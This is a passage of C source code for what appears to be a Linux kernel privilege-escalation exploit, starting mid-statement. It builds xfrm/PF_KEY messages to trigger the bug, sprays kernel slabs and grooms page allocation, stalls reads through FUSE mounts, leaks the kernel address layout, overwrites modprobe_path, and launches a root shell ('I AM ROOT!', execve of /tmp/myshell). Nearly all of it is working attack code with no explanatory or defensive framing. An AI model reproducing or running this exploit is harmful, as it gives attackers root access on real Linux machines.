SADB_EXT_SA; sa->sadb_sa_spi = 0x0; sa->sadb_sa_replay = 0x0; sa->sadb_sa_state = 0x0; sa->sadb_sa_auth = 0x0; sa->sadb_sa_encrypt = 0xb; sa->sadb_sa_flags = 0x0; sa_addr = (struct sadb_address *)((char *)sa + sa->sadb_sa_len * sizeof(uint64_t)); sa_addr->sadb_address_len = 0x5; sa_addr->sadb_address_exttype = SADB_EXT_ADDRESS_SRC; sa_addr->sadb_address_proto = 0x0; sa_addr->sadb_address_prefixlen = 0x0; sa_addr->sadb_address_reserved = 0x0; addr = (char *)sa_addr + sizeof(struct sadb_address); addr->sin6_family = AF_INET6; addr->sin6_port = htons(0); addr->sin6_addr = in6addr_loopback; iov.iov_base = nlh; iov.iov_len = 0x78; msg.msg_name = 3; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = 7; msg.msg_controllen = 0; msg.msg_flags = 0; res = syscall(__NR_sendmsg, r[0], &msg, 0ul); res = syscall(__NR_socket, AF_INET6, SOCK_RAW, IPPROTO_TCP); if (res != -1) r[1] = res; addr = (struct sockaddr_in6 *)0x200000c0; addr->sin6_family = AF_INET6; addr->sin6_port = htons(0); addr->sin6_addr = in6addr_loopback; res = syscall(__NR_connect, r[1], (struct sockaddr *)addr, sizeof(*addr)); struct xfrm_userpolicy_info *xpinfo = (void*)0x20000100; xpinfo->sel.daddr.a4 = htobe32(0); xpinfo->sel.saddr.a4 = htobe32(0xac1e0001); xpinfo->sel.dport = htobe16(0); xpinfo->sel.dport_mask = htobe16(0); xpinfo->sel.sport = htobe16(0); xpinfo->sel.sport_mask = htobe16(0); xpinfo->sel.family = AF_INET6; xpinfo->sel.prefixlen_d = 0; xpinfo->sel.prefixlen_s = 0; xpinfo->sel.proto = IPPROTO_IP; xpinfo->sel.ifindex = 0; xpinfo->sel.user = -1; xpinfo->lft.soft_byte_limit = 0; xpinfo->lft.hard_byte_limit = 0; xpinfo->lft.soft_packet_limit = 0; xpinfo->lft.hard_packet_limit = 0; xpinfo->lft.soft_add_expires_seconds = 0; xpinfo->lft.hard_add_expires_seconds = 0; xpinfo->lft.soft_use_expires_seconds = 0; xpinfo->lft.hard_use_expires_seconds = 0; xpinfo->curlft.bytes = 0; xpinfo->curlft.packets = 0; xpinfo->curlft.add_time = 0; xpinfo->curlft.use_time = 0; xpinfo->priority = 0; xpinfo->index = 0; xpinfo->dir = XFRM_POLICY_OUT; xpinfo->action = XFRM_POLICY_ALLOW; xpinfo->flags = 0; xpinfo->share = XFRM_SHARE_ANY; struct xfrm_user_tmpl *ut = (struct xfrm_user_tmpl *) (xpinfo + 1); NONFAILING(*(uint8_t*)0x200001a8 = -1); NONFAILING(*(uint8_t*)0x200001a9 = 1); NONFAILING(memset((void*)0x200001aa, 0, 13)); NONFAILING(*(uint8_t*)0x200001b7 = 1); ut->id.spi = htobe32(0); ut->id.proto = IPPROTO_ESP; ut->family = PF_UNSPEC; ut->saddr.a4 = 0xfc; ut->reqid = 0; ut->mode = XFRM_MODE_TRANSPORT; ut->share = XFRM_SHARE_ANY; ut->optional = 0; ut->aalgos = 0; ut->ealgos = 0; ut->calgos = 0; res = syscall(__NR_setsockopt, r[1], SOL_IPV6, IPV6_XFRM_POLICY, xpinfo, sizeof(*xpinfo) + sizeof(*ut)); int tty_fd[1024]; int n_msg; int msqid_bk[1024]; // Consume up kmalloc-4k slab msg_spray(SLAB_4k_OBJS_PER_SLAB * (1+SLAB_4k_CPU_PARTIAL), MSG_LEN, 1); msg_spray(SLAB_4k_OBJS_PER_SLAB * (1 + SLAB_4k_CPU_PARTIAL) - 5 , SIZE_OF_USER_KEY_PAYLOAD, 1); // consume lower page order's (<=3) freelist int fill_large = pagealloc_pad(0x1000, 0x1000); #ifdef EXPAND_LOWER_ORDER #define PROC_FORK 10 // Make sure lower page order (<3) allocatioin and free won't affect // order 3 (merging from order 2 or split order 3 to fulfill order 2) initialise_shared(&free_mutex); pthread_mutex_lock(&free_mutex->mutex); printf("start filling lower order\n"); for (int k=0; kdone++; pthread_mutex_lock(&free_mutex->mutex); for (int i=0; i<100; i++) { // free 1 of 2 order 2 blocks, keep the other in order 2 freelist close(fill_fd[0][i]); } free_mutex->done--; pthread_mutex_unlock(&free_mutex->mutex); printf("[+] %d free done -> %d\n", k, free_mutex->done); pause(); } } while (free_mutex->done < PROC_FORK) { usleep(10000); } printf("Released free lock\n"); pthread_mutex_unlock(&free_mutex->mutex); while (free_mutex->done > 0) { usleep(10000); } printf("fill lower order done\n"); close(fill_large); #endif // initialize fuse init_fuse_mem("evil1/evil", &fuse_mem_addr, NULL, 0x100000); initialise_shared(&hang_threads); pagealloc_pad(0x2000, 0x8000); #ifdef KERNEL_LEAK if (!leak_kalsr()) exit(0); #endif #ifdef KERNEL_EXP overwrite_modprobe(); #endif pause(); } static const struct fuse_operations evil_ops1 = { .getattr = evil_getattr, .readdir = evil_readdir, .read = evil_read_pause, }; static const struct fuse_operations evil_ops2 = { .getattr = evil_getattr, .readdir = evil_readdir, .read = evil_read_sleep, }; void unshare_setup(uid_t uid, gid_t gid) { int temp; char edit[0x100]; unshare(CLONE_NEWNS|CLONE_NEWUSER); temp = open("/proc/self/setgroups", O_WRONLY); write(temp, "deny", strlen("deny")); close(temp); temp = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", uid); write(temp, edit, strlen(edit)); close(temp); temp = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", gid); write(temp, edit, strlen(edit)); close(temp); return; } char *fargs_evil1[] = {"poc", "evil1", NULL }; char *fargs_evil2[] = {"poc", "evil2", NULL }; int main(int argc, char *argv[]) { load_symbols(); initialise_shared(&shell_lock); pthread_mutex_lock(&shell_lock->mutex); if (!fork()) { pthread_mutex_lock(&shell_lock->mutex); printf("[+] I AM ROOT!\n"); execve("/tmp/myshell", NULL, NULL); } fargs_evil1[0] = argv[0]; fargs_evil2[0] = argv[0]; unshare_setup(getuid(), getgid()); modprobe_init(); mkdir(FUSE_MOUNT1, 0777); mkdir(FUSE_MOUNT2, 0777); pipe(fuse_pipes); evil_buffer = malloc(0x10000); if (!fork()) { fuse_main(sizeof(fargs_evil1)/sizeof(char *) -1 , fargs_evil1, &evil_ops1, NULL); } sleep(1); if (!fork()) { fuse_main(sizeof(fargs_evil2)/sizeof(char *) -1 , fargs_evil2, &evil_ops2, NULL); } sleep(1); syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); do_sandbox_namespace(); return 0; }